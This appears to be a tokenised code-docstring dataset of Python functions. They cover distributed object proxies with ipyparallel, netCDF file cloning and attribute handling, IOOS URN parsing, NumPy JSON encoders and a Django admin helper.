{"signature": "def _ars_to_proxies(ars):", "body": "if (isinstance(ars, Remote) or<EOL>isinstance(ars, numbers.Number) or<EOL>ars is None):<EOL><INDENT>return ars<EOL><DEDENT>elif isinstance(ars, collections.Sequence):<EOL><INDENT>res = []<EOL>for i in range(len(ars)):<EOL><INDENT>res.append(_ars_to_proxies(ars[i]))<EOL><DEDENT>return res<EOL><DEDENT>elif isinstance(ars, ipyparallel.AsyncResult):<EOL><INDENT>ref = ars.r<EOL>ObClass = ref.type<EOL>if ObClass in distob.engine.proxy_types:<EOL><INDENT>RemoteClass = distob.engine.proxy_types[ObClass]<EOL><DEDENT>else:<EOL><INDENT>RemoteClass = type(<EOL>'<STR_LIT>' + ObClass.__name__, (Remote, ObClass), dict())<EOL>RemoteClass = proxy_methods(ObClass)(RemoteClass)<EOL><DEDENT>proxy_obj = RemoteClass(ref)<EOL>return proxy_obj<EOL><DEDENT>else:<EOL><INDENT>raise DistobTypeError('<STR_LIT>' % type(ars))<EOL><DEDENT>", "docstring": "wait for async results and return proxy objects\n    Args: \n      ars: AsyncResult (or sequence of AsyncResults), each result type ``Ref``.\n    Returns:\n      Remote* proxy object (or list of them)", "id": "f4855:m16"}
{"signature": "def _scatter_ndarray(ar, axis=-<NUM_LIT:1>, destination=None, blocksize=None):", "body": "from .arrays import DistArray, RemoteArray<EOL>shape = ar.shape<EOL>ndim = len(shape)<EOL>if axis is None:<EOL><INDENT>return _directed_scatter([ar], destination=[destination],<EOL>blocksize=blocksize)[<NUM_LIT:0>]<EOL><DEDENT>if axis < -ndim or axis > ndim - <NUM_LIT:1>:<EOL><INDENT>raise DistobValueError('<STR_LIT>')<EOL><DEDENT>if axis < <NUM_LIT:0>:<EOL><INDENT>axis = ndim + axis<EOL><DEDENT>n = shape[axis]<EOL>if n == <NUM_LIT:1>:<EOL><INDENT>return _directed_scatter([ar], destination=[destination])[<NUM_LIT:0>]<EOL><DEDENT>if isinstance(destination, collections.Sequence):<EOL><INDENT>ne = len(destination) <EOL><DEDENT>else:<EOL><INDENT>if distob.engine is None:<EOL><INDENT>setup_engines()<EOL><DEDENT>ne = distob.engine.nengines <EOL><DEDENT>if blocksize is None:<EOL><INDENT>blocksize = ((n - <NUM_LIT:1>) // ne) + <NUM_LIT:1><EOL><DEDENT>if blocksize > n:<EOL><INDENT>blocksize = n<EOL><DEDENT>if isinstance(ar, DistArray):<EOL><INDENT>if axis == ar._distaxis:<EOL><INDENT>return ar<EOL><DEDENT>else:<EOL><INDENT>raise DistobError('<STR_LIT>')<EOL><DEDENT><DEDENT>if isinstance(ar, RemoteArray) and n > blocksize:<EOL><INDENT>ar = ar._ob<EOL><DEDENT>s = slice(None)<EOL>subarrays = []<EOL>low = <NUM_LIT:0><EOL>for i in range(<NUM_LIT:0>, n // blocksize):<EOL><INDENT>high = low + blocksize<EOL>index = (s,)*axis + (slice(low, high),) + (s,)*(ndim - axis - <NUM_LIT:1>)<EOL>subarrays.append(ar[index])<EOL>low += blocksize<EOL><DEDENT>if n % blocksize != <NUM_LIT:0>:<EOL><INDENT>high = low + (n % blocksize)<EOL>index = (s,)*axis + (slice(low, high),) + (s,)*(ndim - axis - <NUM_LIT:1>)<EOL>subarrays.append(ar[index])<EOL><DEDENT>subarrays = _directed_scatter(subarrays, destination=destination)<EOL>return DistArray(subarrays, axis)<EOL>", "docstring": "Turn a numpy ndarray into a DistArray or RemoteArray\n    Args:\n     ar (array_like)\n     axis (int, optional): specifies along which axis to split the array to \n       distribute it. The default is to split along the last axis. `None` means\n       do not distribute.\n     destination (int or list of int, optional): Optionally force the array to\n       go to a specific engine. If an array is to be scattered along an axis, \n       this should be a list of engine ids with the same length as that axis.\n     blocksize (int): Optionally control the size of intervals into which the\n       distributed axis is split (the default splits the distributed axis\n       evenly over all computing engines).", "id": "f4855:m17"}
{"signature": "def _directed_scatter(obj, axis=-<NUM_LIT:1>, destination=None, blocksize=None):", "body": "if hasattr(obj, '<STR_LIT>'):<EOL><INDENT>return obj.__distob_scatter__(axis, destination, blocksize)<EOL><DEDENT>if distob._have_numpy and (isinstance(obj, np.ndarray) or<EOL>hasattr(type(obj), '<STR_LIT>')):<EOL><INDENT>return _scatter_ndarray(obj, axis, destination, blocksize)<EOL><DEDENT>elif isinstance(obj, Remote):<EOL><INDENT>return obj<EOL><DEDENT>ars = _async_scatter(obj, destination)<EOL>proxy_obj = _ars_to_proxies(ars)<EOL>return proxy_obj<EOL>", "docstring": "Same as scatter() but allows forcing the object to a specific engine id.\n    Currently, this is intended for distob internal use only, so that ufunc\n    operands can be sent to the same engine.\n    Args:\n      destination (int or list of int, optional): the engine id (or ids). If \n        scattering a sequence, this should be a list of engine ids with the\n        same length as the sequence. If an array is to be scattered along an\n        axis, this should be a list of engine ids with the same length as \n        that axis.\n      blocksize (int): Optionally aim to split the distributed axis into\n        intervals of approximately this length (default is number of engines \n        divided by length of distributed axis).", "id": "f4855:m18"}
{"signature": "def scatter(obj, axis=-<NUM_LIT:1>, blocksize=None):", "body": "if hasattr(obj, '<STR_LIT>'):<EOL><INDENT>return obj.__distob_scatter__(axis, None, blocksize)<EOL><DEDENT>if distob._have_numpy and (isinstance(obj, np.ndarray) or<EOL>hasattr(type(obj), '<STR_LIT>')):<EOL><INDENT>return _scatter_ndarray(obj, axis, blocksize)<EOL><DEDENT>elif isinstance(obj, Remote):<EOL><INDENT>return obj<EOL><DEDENT>ars = _async_scatter(obj)<EOL>proxy_obj = _ars_to_proxies(ars)<EOL>return proxy_obj<EOL>", "docstring": "Distribute obj or list to remote engines, returning proxy objects\n    Args:\n      obj: any python object, or list of objects\n      axis (int, optional): Can be used if scattering a numpy array,\n        specifying along which axis to split the array to distribute it. The \n        default is to split along the last axis. `None` means do not distribute\n      blocksize (int, optional): Can be used if scattering a numpy array. \n        Optionally control the size of intervals into which the distributed\n        axis is split (the default splits the distributed axis evenly over all\n        computing engines).", "id": "f4855:m19"}
{"signature": "def gather(obj):", "body": "if hasattr(obj, '<STR_LIT>'):<EOL><INDENT>return obj.__distob_gather__()<EOL><DEDENT>elif (isinstance(obj, collections.Sequence) and <EOL>not isinstance(obj, string_types)):<EOL><INDENT>return [gather(subobj) for subobj in obj]<EOL><DEDENT>else:<EOL><INDENT>return obj<EOL><DEDENT>", "docstring": "Retrieve objects that have been distributed, making them local again", "id": "f4855:m20"}
{"signature": "def vectorize(f):", "body": "def vf(obj, *args, **kwargs):<EOL><INDENT>if hasattr(obj, '<STR_LIT>'):<EOL><INDENT>return obj.__distob_vectorize__(f)(obj, *args, **kwargs)<EOL><DEDENT>if isinstance(obj, Remote):<EOL><INDENT>return call(f, obj, *args, **kwargs)<EOL><DEDENT>elif distob._have_numpy and (isinstance(obj, np.ndarray) or<EOL>hasattr(type(obj), '<STR_LIT>')):<EOL><INDENT>distarray = scatter(obj, axis=-<NUM_LIT:1>)<EOL>return vf(distarray, *args, **kwargs)<EOL><DEDENT>elif isinstance(obj, collections.Sequence):<EOL><INDENT>inputs = scatter(obj)<EOL>dv = distob.engine._client[:]<EOL>kwargs = kwargs.copy()<EOL>kwargs['<STR_LIT>'] = False<EOL>results = []<EOL>for obj in inputs:<EOL><INDENT>results.append(call(f, obj, *args, **kwargs))<EOL><DEDENT>for i in range(len(results)):<EOL><INDENT>results[i] = convert_result(results[i])<EOL><DEDENT>return results<EOL><DEDENT><DEDENT>if hasattr(f, '<STR_LIT>'):<EOL><INDENT>vf.__name__ = '<STR_LIT:v>' + f.__name__<EOL>f_str = f.__name__ + '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>f_str = '<STR_LIT>'<EOL><DEDENT>doc = u\"\"\"<STR_LIT>\"\"\" % (f_str, f_str)<EOL>if hasattr(f, '<STR_LIT>') and f.__doc__ is not None:<EOL><INDENT>doc = doc.rstrip() + ('<STR_LIT>' + f.__doc__)<EOL><DEDENT>vf.__doc__ = doc<EOL>return vf<EOL>", "docstring": "Upgrade normal function f to act in parallel on distibuted lists/arrays\n\n    Args:\n      f (callable): an ordinary function which expects as its first argument a\n        single object, or a numpy array of N dimensions.\n\n    Returns:\n      vf (callable): new function that takes as its first argument a list of\n        objects, or a array of N+1 dimensions. ``vf()`` will do the\n        computation ``f()`` on each part of the input in parallel and will\n        return a list of results, or a distributed array of results.", "id": "f4855:m21"}
{"signature": "def apply(f, obj, *args, **kwargs):", "body": "return vectorize(f)(obj, *args, **kwargs)<EOL>", "docstring": "Apply a function in parallel to each element of the input", "id": "f4855:m22"}
{"signature": "def call_all(sequence, method_name, *args, **kwargs):", "body": "kwargs = kwargs.copy()<EOL>kwargs['<STR_LIT>'] = False<EOL>results = []<EOL>for obj in sequence:<EOL><INDENT>results.append(methodcall(obj, method_name, *args, **kwargs))<EOL><DEDENT>for i in range(len(results)):<EOL><INDENT>results[i] = convert_result(results[i])<EOL><DEDENT>return results<EOL>", "docstring": "Call a method on each element of a sequence, in parallel.\n    Returns:\n      list of results", "id": "f4855:m23"}
{"signature": "def __init__(self, engine_id, client):", "body": "self._client = client<EOL>self._dv = client.direct_view(targets='<STR_LIT:all>')<EOL>self._dv.use_dill()<EOL>nengines = len(client)<EOL>super(ObjectHub, self).__init__(engine_id, nengines)<EOL>", "docstring": "Make an ObjectHub.\n        Args:\n          engine_id: ipyparallel engine id number where this Hub is located,\n            or a negative number if it is on an ipyparallel client.\n          client: ipyparallel.Client", "id": "f4855:c6:m0"}
{"signature": "@classmethod<EOL><INDENT>def register_proxy_type(cls, real_type, proxy_type):<DEDENT>", "body": "if distob.engine is None:<EOL><INDENT>cls._initial_proxy_types[real_type] = proxy_type<EOL><DEDENT>elif isinstance(distob.engine, ObjectHub):<EOL><INDENT>distob.engine._runtime_reg_proxy_type(real_type, proxy_type)<EOL><DEDENT>else:<EOL><INDENT>distob.engine._singleeng_reg_proxy_type(real_type, proxy_type)<EOL>pass<EOL><DEDENT>", "docstring": "Configure engines so that remote methods returning values of type\n        `real_type` will instead return by proxy, as type `proxy_type`", "id": "f4855:c6:m1"}
{"signature": "def __init__(self, obj):", "body": "if distob.engine is None:<EOL><INDENT>setup_engines()<EOL><DEDENT>if isinstance(obj, Ref):<EOL><INDENT>self._ref = obj<EOL>self.is_local = (self._ref.id.engine is distob.engine.eid)<EOL><DEDENT>else:<EOL><INDENT>self._ref = Ref(obj)<EOL>self.is_local = True<EOL><DEDENT>if self.is_local:<EOL><INDENT>self._dv = None<EOL>self._obcache = distob.engine[self._ref.id]<EOL>self._obcache_current = True<EOL><DEDENT>else:<EOL><INDENT>self._dv = distob.engine._client[self._ref.id.engine]<EOL>self._dv.use_dill()<EOL>self._obcache = None<EOL>self._obcache_current = False<EOL><DEDENT>self._id = self._ref.id<EOL>self.prefer_local = True <EOL>instance_methods, instance_attribs, size = call(<EOL>_scan_instance, self, self.__class__._include_underscore,<EOL>self.__class__._exclude, prefer_local=False)<EOL>for name, doc in instance_methods:<EOL><INDENT>setattr(self, name, _make_proxy_method(name, doc))<EOL><DEDENT>for name, doc in instance_attribs:<EOL><INDENT>setattr(self.__class__, name, _make_proxy_property(name, doc))<EOL><DEDENT>self.__engine_affinity__ = (self._ref.id.engine, size)<EOL>", "docstring": "Set up the Remote* proxy object to access an already-existing object,\n        which may be local or remote.\n\n        Args:\n          obj (Ref or object): either a Ref reference to the (possibly remote) \n            object to be controlled, or else an actual (local) object to be \n            controlled.", "id": "f4855:c7:m0"}
{"signature": "def _fetch(self):", "body": "if not self.is_local and not self._obcache_current:<EOL><INDENT>def _remote_fetch(id):<EOL><INDENT>return distob.engine[id]<EOL><DEDENT>self._obcache = self._dv.apply_sync(_remote_fetch, self._id)<EOL>self._obcache_current = True<EOL>self.__engine_affinity__ = (distob.engine.eid, <EOL>self.__engine_affinity__[<NUM_LIT:1>])<EOL><DEDENT>", "docstring": "forces update of a local cached copy of the real object\n        (regardless of the preference setting self.cache)", "id": "f4855:c7:m1"}
{"signature": "def __ob(self):", "body": "self._fetch()<EOL>return self._obcache<EOL>", "docstring": "return a local copy of the real object", "id": "f4855:c7:m2"}
{"signature": "@classmethod<EOL><INDENT>def __pmetadata__(cls, obj):<DEDENT>", "body": "return None<EOL>", "docstring": "Subclasses can override this method if they need Ref to provide\n        more metadata on the controlled object to help configure remote access.\n        Arguments:\n          obj: object of type ``self._ref.type``", "id": "f4855:c7:m6"}
{"signature": "def clone(src, dst_path, skip_globals, skip_dimensions, skip_variables):", "body": "if os.path.exists(dst_path):<EOL><INDENT>os.unlink(dst_path)<EOL><DEDENT>dst = netCDF4.Dataset(dst_path, '<STR_LIT:w>')<EOL>for attname in src.ncattrs():<EOL><INDENT>if attname not in skip_globals:<EOL><INDENT>setattr(dst, attname, getattr(src, attname))<EOL><DEDENT><DEDENT>unlimdim     = None<EOL>unlimdimname = False<EOL>for dimname, dim in src.dimensions.items():<EOL><INDENT>if dimname in skip_dimensions:<EOL><INDENT>continue<EOL><DEDENT>if dim.isunlimited():<EOL><INDENT>unlimdim     = dim<EOL>unlimdimname = dimname<EOL>dst.createDimension(dimname, None)<EOL><DEDENT>else:<EOL><INDENT>dst.createDimension(dimname, len(dim))<EOL><DEDENT><DEDENT>for varname, ncvar in src.variables.items():<EOL><INDENT>if varname in skip_variables:<EOL><INDENT>continue<EOL><DEDENT>hasunlimdim = False<EOL>if unlimdimname and unlimdimname in ncvar.dimensions:<EOL><INDENT>hasunlimdim = True<EOL><DEDENT>filler = None<EOL>if hasattr(ncvar, '<STR_LIT>'):<EOL><INDENT>filler = ncvar._FillValue<EOL><DEDENT>if ncvar.chunking == \"<STR_LIT>\":<EOL><INDENT>var = dst.createVariable(varname, ncvar.dtype, ncvar.dimensions, fill_value=filler)<EOL><DEDENT>else:<EOL><INDENT>var = dst.createVariable(varname, ncvar.dtype, ncvar.dimensions, fill_value=filler, chunksizes=ncvar.chunking())<EOL><DEDENT>for attname in ncvar.ncattrs():<EOL><INDENT>if attname == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>setattr(var, attname, getattr(ncvar, attname))<EOL><DEDENT><DEDENT>nchunk = <NUM_LIT:1000><EOL>if hasunlimdim:<EOL><INDENT>if nchunk:<EOL><INDENT>start = <NUM_LIT:0><EOL>stop = len(unlimdim)<EOL>step = nchunk<EOL>if step < <NUM_LIT:1>:<EOL><INDENT>step = <NUM_LIT:1><EOL><DEDENT>for n in range(start, stop, step):<EOL><INDENT>nmax = n + nchunk<EOL>if nmax > len(unlimdim):<EOL><INDENT>nmax = len(unlimdim)<EOL><DEDENT>idata = ncvar[n:nmax]<EOL>var[n:nmax] = idata<EOL><DEDENT><DEDENT>else:<EOL><INDENT>idata = ncvar[:]<EOL>var[<NUM_LIT:0>:len(unlimdim)] = idata<EOL><DEDENT><DEDENT>else:<EOL><INDENT>idata = ncvar[:]<EOL>var[:] = idata<EOL><DEDENT>dst.sync()<EOL><DEDENT>src.close()<EOL>dst.close()<EOL>", "docstring": "Mostly ripped from nc3tonc4 in netCDF4-python.\nAdded ability to skip dimension and variables.\nRemoved all of the unpacking logic for shorts.", "id": "f4869:m0"}
{"signature": "@classmethod<EOL><INDENT>def combine(self, members, output_file, dimension=None, start_index=None, stop_index=None, stride=None):<DEDENT>", "body": "nco = None<EOL>try:<EOL><INDENT>nco = Nco()<EOL><DEDENT>except BaseException:<EOL><INDENT>raise ImportError(\"<STR_LIT>\")<EOL><DEDENT>if len(members) > <NUM_LIT:0> and hasattr(members[<NUM_LIT:0>], '<STR_LIT:path>'):<EOL><INDENT>members = [ m.path for m in members ]<EOL><DEDENT>options  = ['<STR_LIT>']  <EOL>options += ['<STR_LIT>', '<STR_LIT:3>']  <EOL>options += ['<STR_LIT>']  <EOL>if dimension is not None:<EOL><INDENT>if start_index is None:<EOL><INDENT>start_index = <NUM_LIT:0><EOL><DEDENT>if stop_index is None:<EOL><INDENT>stop_index = '<STR_LIT>'<EOL><DEDENT>if stride is None:<EOL><INDENT>stride = <NUM_LIT:1><EOL><DEDENT>options += ['<STR_LIT>', '<STR_LIT>'.format(dimension, start_index, stop_index, stride)]<EOL><DEDENT>nco.ncrcat(input=members, output=output_file, options=options)<EOL>", "docstring": "Combine many files into a single file on disk.  Defaults to using the 'time' dimension.", "id": "f4872:c0:m3"}
{"signature": "def get_variables_by_attributes(self, **kwargs):", "body": "vs = []<EOL>has_value_flag  = False<EOL>for vname in self.variables:<EOL><INDENT>var = self.variables[vname]<EOL>for k, v in kwargs.items():<EOL><INDENT>if callable(v):<EOL><INDENT>has_value_flag = v(getattr(var, k, None))<EOL>if has_value_flag is False:<EOL><INDENT>break<EOL><DEDENT><DEDENT>elif hasattr(var, k) and getattr(var, k) == v:<EOL><INDENT>has_value_flag = True<EOL><DEDENT>else:<EOL><INDENT>has_value_flag = False<EOL>break<EOL><DEDENT><DEDENT>if has_value_flag is True:<EOL><INDENT>vs.append(self.variables[vname])<EOL><DEDENT><DEDENT>return vs<EOL>", "docstring": "Returns variables that match specific conditions.\n\n        * Can pass in key=value parameters and variables are returned that\n        contain all of the matches.  For example,\n\n        >>> # Get variables with x-axis attribute.\n        >>> vs = nc.get_variables_by_attributes(axis='X')\n        >>> # Get variables with matching \"standard_name\" attribute.\n        >>> nc.get_variables_by_attributes(standard_name='northward_sea_water_velocity')\n\n        * Can pass in key=callable parameter and variables are returned if the\n        callable returns True.  The callable should accept a single parameter,\n        the attribute value.  None is given as the attribute value when the\n        attribute does not exist on the variable. For example,\n\n        >>> # Get Axis variables.\n        >>> vs = nc.get_variables_by_attributes(axis=lambda v: v in ['X', 'Y', 'Z', 'T'])\n        >>> # Get variables that don't have an \"axis\" attribute.\n        >>> vs = nc.get_variables_by_attributes(axis=lambda v: v is None)\n        >>> # Get variables that have a \"grid_mapping\" attribute.\n        >>> vs = nc.get_variables_by_attributes(grid_mapping=lambda v: v is not None)", "id": "f4874:c0:m0"}
{"signature": "def json_attributes(self, vfuncs=None):", "body": "vfuncs = vfuncs or []<EOL>js = {'<STR_LIT>': {}}<EOL>for k in self.ncattrs():<EOL><INDENT>js['<STR_LIT>'][k] = self.getncattr(k)<EOL><DEDENT>for varname, var in self.variables.items():<EOL><INDENT>js[varname] = {}<EOL>for k in var.ncattrs():<EOL><INDENT>z = var.getncattr(k)<EOL>try:<EOL><INDENT>assert not np.isnan(z).all()<EOL>js[varname][k] = z<EOL><DEDENT>except AssertionError:<EOL><INDENT>js[varname][k] = None<EOL><DEDENT>except TypeError:<EOL><INDENT>js[varname][k] = z<EOL><DEDENT><DEDENT>for vf in vfuncs:<EOL><INDENT>try:<EOL><INDENT>js[varname].update(vfuncs(var))<EOL><DEDENT>except BaseException:<EOL><INDENT>logger.exception(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>return json.loads(json.dumps(js, cls=BasicNumpyEncoder))<EOL>", "docstring": "vfuncs can be any callable that accepts a single argument, the\nVariable object, and returns a dictionary of new attributes to\nset. These will overwrite existing attributes", "id": "f4874:c0:m4"}
{"signature": "def get_dataframe_from_variable(nc, data_var):", "body": "time_var = nc.get_variables_by_attributes(standard_name='<STR_LIT:time>')[<NUM_LIT:0>]<EOL>depth_vars = nc.get_variables_by_attributes(axis=lambda v: v is not None and v.lower() == '<STR_LIT:z>')<EOL>depth_vars += nc.get_variables_by_attributes(standard_name=lambda v: v in ['<STR_LIT>', '<STR_LIT>' '<STR_LIT>'], positive=lambda x: x is not None)<EOL>depth_var = None<EOL>for d in depth_vars:<EOL><INDENT>try:<EOL><INDENT>if d._name in data_var.coordinates.split(\"<STR_LIT:U+0020>\") or d._name in data_var.dimensions:<EOL><INDENT>depth_var = d<EOL>break<EOL><DEDENT><DEDENT>except AttributeError:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>times  = netCDF4.num2date(time_var[:], units=time_var.units, calendar=getattr(time_var, '<STR_LIT>', '<STR_LIT>'))<EOL>original_times_size = times.size<EOL>if depth_var is None and hasattr(data_var, '<STR_LIT>'):<EOL><INDENT>depth_type = get_type(data_var.sensor_depth)<EOL>depths = np.asarray([data_var.sensor_depth] * len(times)).flatten()<EOL>values = data_var[:].flatten()<EOL><DEDENT>elif depth_var is None:<EOL><INDENT>depths = np.asarray([np.nan] * len(times)).flatten()<EOL>depth_type = get_type(depths)<EOL>values = data_var[:].flatten()<EOL><DEDENT>else:<EOL><INDENT>depths = depth_var[:]<EOL>depth_type = get_type(depths)<EOL>if len(data_var.shape) > <NUM_LIT:1>:<EOL><INDENT>times = np.repeat(times, depths.size)<EOL>depths = np.tile(depths, original_times_size)<EOL>values = data_var[:, :].flatten()<EOL><DEDENT>else:<EOL><INDENT>values = data_var[:].flatten()<EOL><DEDENT>if getattr(depth_var, '<STR_LIT>', '<STR_LIT>').lower() == '<STR_LIT>':<EOL><INDENT>logger.warning(\"<STR_LIT>\")<EOL>depths = depths * -<NUM_LIT:1><EOL><DEDENT><DEDENT>if (<EOL>isinstance(depths, np.ma.core.MaskedConstant) or<EOL>(hasattr(depths, '<STR_LIT>') and depths.mask.all())<EOL>):<EOL><INDENT>depths = np.asarray([np.nan] * len(times)).flatten()<EOL><DEDENT>df = pd.DataFrame({ '<STR_LIT:time>':   times,<EOL>'<STR_LIT:value>':  values.astype(data_var.dtype),<EOL>'<STR_LIT>':   data_var.units if hasattr(data_var, '<STR_LIT>') else np.nan,<EOL>'<STR_LIT>':  depths.astype(depth_type) })<EOL>df.set_index([pd.DatetimeIndex(df['<STR_LIT:time>']), pd.Float64Index(df['<STR_LIT>'])], inplace=True)<EOL>return df<EOL>", "docstring": "Returns a Pandas DataFrame of the data.\n        This always returns positive down depths", "id": "f4893:m1"}
{"signature": "def all_subclasses(cls):", "body": "for subclass in cls.__subclasses__():<EOL><INDENT>yield subclass<EOL>for subc in all_subclasses(subclass):<EOL><INDENT>yield subc<EOL><DEDENT><DEDENT>", "docstring": "Recursively generate of all the subclasses of class cls.", "id": "f4895:m0"}
{"signature": "def unique_justseen(iterable, key=None):", "body": "<EOL>try:<EOL><INDENT>from itertools import imap as map<EOL><DEDENT>except ImportError:<EOL><INDENT>from builtins import map<EOL><DEDENT>return map(next, map(operator.itemgetter(<NUM_LIT:1>), itertools.groupby(iterable, key)))<EOL>", "docstring": "List unique elements, preserving order. Remember only the element just seen.", "id": "f4895:m1"}
{"signature": "def normalize_array(var):", "body": "if np.issubdtype(var.dtype, '<STR_LIT>'):<EOL><INDENT>if var.dtype == str:<EOL><INDENT>return var[:]<EOL><DEDENT>def decoder(x):<EOL><INDENT>return str(x.decode('<STR_LIT:utf-8>'))<EOL><DEDENT>vfunc = np.vectorize(decoder)<EOL>return vfunc(nc4.chartostring(var[:]))<EOL><DEDENT>else:<EOL><INDENT>return var[:]<EOL><DEDENT>", "docstring": "Returns a normalized data array from a NetCDF4 variable. This is mostly\nused to normalize string types between py2 and py3. It has no effect on types\nother than chars/strings", "id": "f4895:m2"}
{"signature": "def generic_masked(arr, attrs=None, minv=None, maxv=None, mask_nan=True):", "body": "attrs = attrs or {}<EOL>if '<STR_LIT>' in attrs:<EOL><INDENT>minv = safe_attribute_typing(arr.dtype, attrs['<STR_LIT>'])<EOL><DEDENT>if '<STR_LIT>' in attrs:<EOL><INDENT>maxv = safe_attribute_typing(arr.dtype, attrs['<STR_LIT>'])<EOL><DEDENT>if '<STR_LIT>' in attrs:<EOL><INDENT>vr = attrs['<STR_LIT>']<EOL>minv = safe_attribute_typing(arr.dtype, vr[<NUM_LIT:0>])<EOL>maxv = safe_attribute_typing(arr.dtype, vr[<NUM_LIT:1>])<EOL><DEDENT>try:<EOL><INDENT>info = np.iinfo(arr.dtype)<EOL><DEDENT>except ValueError:<EOL><INDENT>info = np.finfo(arr.dtype)<EOL><DEDENT>minv = minv if minv is not None else info.min<EOL>maxv = maxv if maxv is not None else info.max<EOL>if mask_nan is True:<EOL><INDENT>arr = np.ma.fix_invalid(arr)<EOL><DEDENT>return np.ma.masked_outside(<EOL>arr,<EOL>minv,<EOL>maxv<EOL>)<EOL>", "docstring": "Returns a masked array with anything outside of values masked.\nThe minv and maxv parameters take precendence over any dict values.\nThe valid_range attribute takes precendence over the valid_min and\nvalid_max attributes.", "id": "f4895:m4"}
{"signature": "def dictify_urn(urn, combine_interval=True):", "body": "ioos_urn = IoosUrn.from_string(urn)<EOL>if ioos_urn.valid() is False:<EOL><INDENT>return dict()<EOL><DEDENT>if ioos_urn.asset_type != '<STR_LIT>':<EOL><INDENT>logger.error(\"<STR_LIT>\")<EOL>return dict()<EOL><DEDENT>if '<STR_LIT:#>' in ioos_urn.component:<EOL><INDENT>standard_name, extras = ioos_urn.component.split('<STR_LIT:#>')<EOL><DEDENT>else:<EOL><INDENT>standard_name = ioos_urn.component<EOL>extras = '<STR_LIT>'<EOL><DEDENT>d = dict(standard_name=standard_name)<EOL>if '<STR_LIT:->' in ioos_urn.component:<EOL><INDENT>d['<STR_LIT>'] = standard_name.split('<STR_LIT:->')[-<NUM_LIT:1>]<EOL>d['<STR_LIT>'] = standard_name.split('<STR_LIT:->')[<NUM_LIT:0>]<EOL><DEDENT>intervals = []<EOL>cell_methods = []<EOL>if extras:<EOL><INDENT>for section in extras.split('<STR_LIT:;>'):<EOL><INDENT>key, values = section.split('<STR_LIT:=>')<EOL>if key == '<STR_LIT>':<EOL><INDENT>for v in values.split('<STR_LIT:U+002C>'):<EOL><INDENT>intervals.append(v)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if key == '<STR_LIT>':<EOL><INDENT>value = [ x.replace('<STR_LIT:_>', '<STR_LIT:U+0020>').replace('<STR_LIT::>', '<STR_LIT>') for x in values.split('<STR_LIT:U+002C>') ]<EOL>cell_methods = value<EOL><DEDENT>else:<EOL><INDENT>value = '<STR_LIT:U+0020>'.join([x.replace('<STR_LIT:_>', '<STR_LIT:U+0020>').replace('<STR_LIT::>', '<STR_LIT>') for x in values.split('<STR_LIT:U+002C>')])<EOL>d[key] = value<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if combine_interval is True:<EOL><INDENT>if cell_methods and intervals:<EOL><INDENT>if len(cell_methods) == len(intervals):<EOL><INDENT>d['<STR_LIT>'] = '<STR_LIT:U+0020>'.join([ '<STR_LIT>'.format(x[<NUM_LIT:0>], x[<NUM_LIT:1>].upper()) for x in zip(cell_methods, intervals) ])<EOL><DEDENT>else:<EOL><INDENT>d['<STR_LIT>'] = '<STR_LIT:U+0020>'.join(cell_methods)<EOL>for i in intervals:<EOL><INDENT>d['<STR_LIT>'] += '<STR_LIT>'.format(i.upper())<EOL><DEDENT><DEDENT><DEDENT>elif cell_methods:<EOL><INDENT>d['<STR_LIT>'] = '<STR_LIT:U+0020>'.join(cell_methods)<EOL>for i in intervals:<EOL><INDENT>d['<STR_LIT>'] += '<STR_LIT>'.format(i.upper())<EOL><DEDENT><DEDENT>elif intervals:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>d['<STR_LIT>'] = '<STR_LIT:U+0020>'.join(cell_methods)<EOL>d['<STR_LIT>'] = '<STR_LIT:U+002C>'.join(intervals).upper()<EOL><DEDENT>if '<STR_LIT>' in d:<EOL><INDENT>d['<STR_LIT>'] = d['<STR_LIT>'].upper()<EOL><DEDENT>return d<EOL>", "docstring": "By default, this will put the `interval` as part of the `cell_methods`\nattribute (NetCDF CF style). To return `interval` as its own key, use\nthe `combine_interval=False` parameter.", "id": "f4895:m10"}
{"signature": "def default(self, obj):", "body": "if isinstance(obj, np.ndarray):<EOL><INDENT>return obj.tolist()<EOL><DEDENT>elif isinstance(obj, np.generic):<EOL><INDENT>return np.asscalar(obj)<EOL><DEDENT>return json.JSONEncoder(self, obj)<EOL>", "docstring": "If input object is an ndarray it will be converted into a list", "id": "f4895:c1:m0"}
{"signature": "def default(self, obj):", "body": "if isinstance(obj, np.ndarray):<EOL><INDENT>if obj.flags['<STR_LIT>']:<EOL><INDENT>obj_data = obj.data<EOL><DEDENT>else:<EOL><INDENT>cont_obj = np.ascontiguousarray(obj)<EOL>assert(cont_obj.flags['<STR_LIT>'])<EOL>obj_data = cont_obj.data<EOL><DEDENT>data_b64 = base64.b64encode(obj_data)<EOL>return dict(__ndarray__=data_b64,<EOL>dtype=str(obj.dtype),<EOL>shape=obj.shape)<EOL><DEDENT>elif isinstance(obj, np.generic):<EOL><INDENT>return np.asscalar(obj)<EOL><DEDENT>return json.JSONEncoder(self, obj)<EOL>", "docstring": "If input object is an ndarray it will be converted into a dict\n        holding dtype, shape and the data, base64 encoded.", "id": "f4895:c2:m0"}
{"signature": "def get_formsets_with_inlines(self, request, obj=None):", "body": "for inline in self.get_inline_instances(request, obj):<EOL><INDENT>yield inline.get_formset(request, obj), inline<EOL><DEDENT>", "docstring": "Yields formsets and the corresponding inlines.", "id": "f4898:c0:m1"}
